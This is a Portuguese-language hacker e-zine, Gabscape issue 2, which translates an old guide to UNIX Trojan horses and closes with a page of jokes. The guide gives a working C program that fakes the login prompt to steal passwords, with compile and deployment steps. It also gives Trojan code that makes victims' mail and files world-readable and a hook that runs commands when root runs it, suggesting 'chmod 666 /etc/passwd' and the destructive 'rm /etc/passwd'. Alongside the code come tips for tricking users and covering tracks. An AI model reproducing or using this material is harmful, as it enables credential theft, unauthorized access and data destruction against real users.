Copy Link
Add to Bookmark
Report

Gabscape 2

eZine's profile picture
Published in 
Gabscape
 · 3 Apr 2023

O ZINE da Gabscape http://www.geocities.com/Baja/5153

LEIA COM ATENÇÃO

Esse zine não é responsavilidade minha (Gabriel Dov), pois escrevi ele com intençíes educativas apenas e se alguem fizer uso indevido das informaçíes aqui contidas, essa pessoa é totalmente responsável pelo seu ato.

**********

Fala pessoal !!
Saiu a segunda edição do Gabscape Zine, o DOV !!
Esse aqui ta demais !!!
Mas como tudo que escrevo tem de ser perfeito, tá meio grande!!!
Chega de BlaBLABLA e vamos ao que interessa !!

índice

  1. Cavalos de tróia em UNIX
  2. Humor

1. Cavalos de tróia em UNIX

Introducao

"Seguranca UNIX" eh uma coisa que nao se entende. E' um sistema facil de se tentar um login com forca bruta (muitos sistemas UNIX nao desligam depois de x tentativas de login, e existe uma quantidade enorme de logins default, tal como root, bin, sys and uucp). Uma vez que vc esta no sistemas, voce pode facilmente deixa-lo aos seus pes, ou, se voce conhece um pouco de 'C', voce pode fazer o sistema trabalhar para voce e totalmente eliminar as barreiras de seguranca criando logins, lendo arquivos de qualquer um, etc. Esse arquivo ira mostrar varias formas de se fazer isso usando a linguagem 'C' que voce implementa em UNIX!


Requirimentos

Voce precisa de uma conta em um sistema UNIX. Este pode ser em uma versao robusta do UNIX (tal como 4.2bsd ou AT&T System V) rodando em uma maquina em tempo real (um PDP/11, VAX, Pyramid, etc.) para resultados melhores. Se voce estiver na escola e tem uma conta no sistema da escola, entao sera perfeito!


Notas

Esse arquivo foi inspirado no artigo de Abril de 86 da Byte (versao americana) entitulado "Deixando UNIX Seguro." No artigo, os autores dissem "Nos damos essa informacao de uma forma que, assim esperamos, seja interessante e util sem se tornar um 'livro de receitas para crackers'. Nos temos, portanto, omitido detalhes." Eu estou agora mostrando os metodos gerais, fora do artigo, dando exemplos explicitos do metodo que ele falaram.

La vamos nos... Segura Peao...


Primeiro Projeto: Pescaria de senhas

Voce podera implementar esse exemplo tendo um minimo de conhecimento de UNIX e C. Entretanto, voce precisa de acesso para um terminal que muitas pessoas usam - o computador no laboratorio da sua escola, por exemplo.

Quando voce entra em um Sistema UNIX tipico, voce ve algo como isso:

Tiburon Systems 4.2bsd / System V (shark)

login: shark 
Password: (nao aparece)

O programa que eu estou mostrando aqui simula uma sequencia de logon. Voce roda o programa de um terminal e sai. Algum idiota que nao sabe disso ira usar esse terminal e entrar o login e o password. Ele e escrito para um arquivo seu, e na tela aparece "login incorrect", entao o idiota tem que entrar login e senha denovo. A segunda vez e o login real do sistema. Desta vez ele consegue entra no sistema.

No sistema, coloque o codigo seguinte dentro de um arquivo chamado 'horse.c'. Voce precisa modificar as primeiras 8 linhas para se assemelhar com o login do seu sistema.

----- Codigo comeca aqui ----- 

/* this is what a 'C' comment looks like. You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* A mensagem acima deve ser alterada para se parecer com a mensagem
* que o sistema imprime quando pronto. Cada \n representa um carriage return
*/


define LOGIN "login: "

/* Obviamente esse ai de cima e o prompt do login. Voce provavelmente nao tera que
* altera-lo, ao menos que voce esteja rodando alguma versao diferente de UNIX!
*/


define PASSWORD "password:"

/* Prompt da senha. Voce pode altera-lo, se quiser
* e claro!
*/


define WAIT 2

/* O valor numerico dado a WAIT e o delay que voce tem depois de
* "password:" e antes de"login incorrect." Altere ele (0 = quase sem
* delay, 5 = LONGO delay) assim ele se parecera com o delay do seu sistema.
* realismo e a chave aqui - nos nao queremos que o seu alvo fique desconfiado!
*/



define INCORRECT "Login incorrect.\n"

/* Altere a mensagem acima para a mensagem quando vc erra a senha!
*/


define FILENAME "stuff"

/* FILENAME e o nome do arquivo com os passwords hackeados
* 'stuff' e um nome perfeito.
*/


/* NAO ALTERE O RESTO DO PROGRAMA A MENOS QUE VOCE SAIBA O QUE ESTA FAZENDO
* EM 'C'
*/


include
include
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}


----- fonte acaba aqui -----

OK, como eu disse, faca o codigo acima e configure ele, assim ele parecera exatamente como a sequencia de login do seu sistema. Para compila esse programa chamado 'horse.c' digite as seguinte duas linhas: (menos o %, eles sao apenas um prompt de exemplo)

% cc horse.c -lcurses -ltermcap 
% mv a.out horse

Voce agora possui o objeto de trabalho em um arquivo chamado 'horse'. execute ele, e se ele nao se parece com a sequencia de logon do seu sistema, reedit 'horse.c' e re-compile ele. Quando voce estiver pronto para colocar o programa em uso, crie um arquivo novo e chame-o 'trap' ou algo parecido. 'trap' deve ter esses dois commandos:

horse                    (roda o programa) 
login (roda a sequencia de login)

para executar 'trap' digite:

% source trap            (novamente, nao digite o %)

e va fazer um lanche...

Depois de vc ter rodado esse programa algumas vezes, cheque seu arquivo chamado 'stuff' (ou qualquer coisa que vc tenha dado o nome a ele). ele vai estar mais ou menos assim:

user john has password secret
user mary has password smegma
etc.

Agora copie esses passwords, e depois delete esse arquivo (ele pode ser MUITO incriminante se o root ve ele).

-----

Os proximos projetos podem rodar em um sistema remoto, tal como VAX em Michigan que voce tenha senhas, ou no sistema UNIX em Dartmouth, ou em qualquer lugar.
Entretanto, eles requirem um pequeno conhecimento de 'C'. Eles nao sao exatamente para novatos em UNIX.


Projeto dois: Ler arquivos de qualquer ums

Quando alguem roda um programa, eles sao os donos do processo criado e o programa pode fazer qualquer coisa que eles quiserem, tal como deletar um arquivo em seu diretorio ou fazer um arquivo disponivel para ser lido por qualquer um.

Quando alguem salva e-mail antigo eles o fazem em um sistema UNIX, ele e colocado em um arquivo chamado mbox no diretorio home deles. Pode ser engracado ler esse arquivo mas geralmente e impossivel para qualquer um a nao ser para o dono do arquivo. Entao ai vai um programa que destranca esse arquivo.

----- Codigo comeca aqui ----- 

include

struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];

main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}

----- Codigo termina aqui -----

Assim, a questao e: Como fazer o meu alvo rodar esse programa que esta em diretorio?

Se o sistema que voce esta possuir um programa de armazenamento de mensagens publicas (em 4.xbsd, digite 'msgs') voce pode falar sobre seu programa aqui. Coloque o codigo acima em outro programa - encontre um utilitario ou jogo em alguma revista como a UNIX WORLD (nao sei se tem no Brasil, em todos os casos o nome ta ai) de modo a executar o codigo acima no programa da revista. Assim se voce tiver um programa chamado tic-tac-toe (algo como jogo da velha) e se voce o modifica-lo para destravar o arquivo mbox do usuario antes dele comecar o jogo da velha entao voce podera disser a ele que voce tem um jogo da velha e quer que ele teste dissendo que ele esta em seu diretorio. Se voce nao quiser que todos venham a jogar esse jogo, entao apenas envie um mail para a pessoa especifica.

Se voce nao encontrar um arquivo para modificar, ento pegue o codigo seguinte e acrescente ele entre os dois '}' no fim do programa:

printf("Error opening tic-tac-toe data file.  Sorry!\n");

quando o programa rodar, ele ira imprimir a messagem de erro acima. O usuario ira pensar "Eh, aquele cara nao sabe nada de programacao!" mas somente o truke nele - agora voce pode ler seu e-mail.

Se existe algum arquivo especifico em um diretorio de usuario que voce queira ler (digamos que seja "secret") apenas faca esse programa:

main() 
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}

Entao 'talk' ou 'write' para ele e aja feito um panaca: "Eu fiz um programa chamado super_star_wars, voce quer experimentar ele?"

Voce pode usar a sua imaginacao. Pense em um comando que voce gostaria que alguem executasse-o. Entao coloque ele dentro de um system() call em um programa em C e bote-o a rodar.

Aqui vai uma ideia otima de usar a tecnica acima:


Segundo Projeto: Ser o root (superusuario)

Faca um programa onde vc possa fazer as pessoas executa-lo. Coloque essa linha em algum lugar:

if ( !strcmp(getlogin(),"root") ) system("whatever you want");

Isso checa se o login root esta rodando seu programa. Se ele esta, voce podera fazer ele executar qualquer comando em Shell que voce quiser.
Aqui vao algumas sugestoes:

"chmod 666 /etc/passwd"

/etc/passwd e o arquivo com senhas do sistema. O root possui esse arquivo. Normalmente, qualquer um pode ler ele (as senhas estao criptografadas) (em algums sistemas elas estao criptografadas E escondidas) mas somente o root pode escrever para esse arquivo. De uma olhada e veja como esta formatado se voce nao conhece isso ainda. Esse comando permite voce escrever para esse comando - e portanto criar ilimitadas contas para voce e para seus amigos.

"chmod 666 /etc/group"

Acrescentando voce para alguns grupo de high-access permite a voce abrir muitas portas.

"chmod 666 /usr/lib/uucp/L.sys"

Procure esse arquivo em seu sistema se esta na rede uucp. Ele contem dialups e passwords para outros sistemas na rede, e normalmente apenas o administrador de uucp pode le-lo. Encontre quem possui esse arquivo e diga para ele executar, sem saber obvio, o programa que destrava esse programa para voce.

"rm /etc/passwd"

Se voce fizer o root executar esse comando, o arquivo com as senhas sera removido e o sistema sera paralisado por um bom tempo. Esse comando e altamente destrutivo.

-----

Se voce for acrescentar um cavalo de Troia ao seus sistema, existem algumas regras que voce deve seguir. Se o seu projeto secreto for algo grande (tal como destravar o mbox do usuario ou deletar todas os seus arquivos ou algo assim) esse programa nao podera ser um programa que as pessoas vao rodar muito (tal como um jogo de computador popular) - uma vez que as pessoas descobrirem que os arquivos delas sao de acesso publico, a fonte do problemas sera descoberto rapidamente. Salve esse projeto para um programa 'test' (bem como o jogo que voce esta fazendo para o projeto) que voce pedira a pessoas individualmente para rodar via mail ou 'talkING' com elas. Como eu disse, esse programa 'teste' pode bombear ou imprimir uma messagem de erro depois de completa a sua missao, e entao voce ira falar a pessoa "Bem, eu acho que isso preciso de mais trabalho", espere ate eles sairem da rede, e entao leia qualquer arquivo que voce destravou. Se o seu programa de cavalo de troia tiver a missao de pegar um especifico usuario executando a si proprio - tal como o root ou outro usuario poderoso - voce pode por o codigo para fazer isso em um programa que ira rodar um monte de vezes por usuarios do sistema, seu codigo ira ficar dormente ate ele rodar ele. Se voce nao encontrar o codigo fonte para 'star trek' ou qualquer coisa em C, apenas aprenda C e converta algo do pascal. Isso nao sera prejudicial pois C e uma grande linguagem. Aqui so foi mostrado o que isso pode fazer em um sistema UNIX. Uma vez que voce pegou o root (pode modificar o arquivo /etc/passwd) remova o codigo incriminante do seu cavalo de Troia e voce nunca sera pego.

E isso... Se voce tiver alguma questao ou comentario ou se voce simplesmente quiser me chamar de algum tipo de animal rastejante, chame esse sistema:

The Matrix
415/922-2008
101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.

Lord British, I *dare* you to call.

(>

=========

PS.: O Tradutor e apenas um servo que aprecia a divulgacao de Ideias, ele pode ser considerado um hacker ou um cracker, ou algo ruim como um lammer, mas que ele entende bem de Ingles isso e verdade. :-)

Na verdade esse texto pode ser muito instrutivo nao so em hackear um sistema UNIX, como tambem levar a ideia desses projetos para outro sistema em outra linguagem, imagina por exemplo uma funcao em JAVA que pede pela senha do usuario para checar o e-mail e depois o programa a envia ao usuario via CGI ou e-mail ou qualquer outra coisa.

Existem infinitas possibilidades de se hackear um sistema, eu so espero poder relatar as coisas sem que ninguem me chame de algum tipo de animal rastejante!

Antes que eu me esqueca, esse texto tem como fim o educativo, e portanto o autor nem o tradutor sao culpados por alguma besteira que o usuario possa fazer

HUMOR

- Minha filha Maricota ,de nove anos ,ganhou uma bolsa de estudos para ficar cinco anos na Europa !
- Parabéns !Que ela estuda ?
- Saxofone !
- Quem deu a bolsa ?O governo ?
- Não...os vizinhos !
********************************************************
O jovem chegou timidamente até o pai da moça e pediu :
- Seu Chiquinho... eu queria a mão de sua filha!
- Muito Bem !Todos nós concordamos.Quero saber se o pretendente tem condiçíes de sustentar uma família !
- Lógico , Sr. Chiquinho ... se não ,nem viria aqui !
- Maravilhoso! Somos onze ,esta bem ?
********************************************************
Mãe:
- Ernestinho ,por que você comeu o pudim que estava na geladeira ?
Filho:
- Eu,mãe?Tem certeza ?
Mãe:
- Tenho !Sei que foi você !
Filho:
- Como prova que fui eu , se eu peguei escondido ?
********************************************************
O Cardoso começou contando uma piada para os amigos :
- Haviam dois portugueses burros, completamente idiotas, um...
- Espere , Cardoso.Sou portugues legítimo e não admito piada de portugues. Ouviu ?
-Ora...é apenas uma brincadeira...vou contar...
-Se contar ,vai quebrar o maió pau... !
Cardoso pensou um pouco e começou:
-Haviam dois japoneses burros, completamente idiotas, um chamado Joaquim e outro Manoel...
********************************************************
Os bombeiros chegaram ao hospício e não viram fogo algum !
- Quem chamou os bombeiros ?
Um louco , conhecido por seu pseudônimo - Nero, se apresentou:
- Fui eu...
- Onde esta o fogo ?
- Os senhores chegaram muito depressa...nem deu tempo de acender
os fósforos !!!
********************************************************
Três caras se perdem na selva amazônica e vão parar numa tribo de índios, que supíem nunca ter visto homem branco.Morrendo de medo, eles tentam se comunicar falando do jeito que imaginam que os índios falariam:
- Mim, mé-di-co! - diz o primeiro.
- Mim, bo-t‚-ni-co! - diz o segundo.
- Mim, cô-mi-co! - diz o terceiro.
E o índio:
- Se vocês médi c˙, bota ni c˙ e comi c˙, mim salva c˙ ! - Diz o índio, caido fora.
********************************************************

OK Pessoal, é isso aí !!
Minha mão ja ta caindo aqui !
Mas tenho de adiantar o trabalho !
Vamos para o próximo !

DOV Gabscape Zine é ©Copyright de Gabriel DOV
gabrieldov -- gabrieldov@geocities.com
Gabscape -- http://www.geocities.com/Baja/5153

Gabscape
"O seu guia para hackear a internet"
http://www.geocities.com/Baja/5153

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT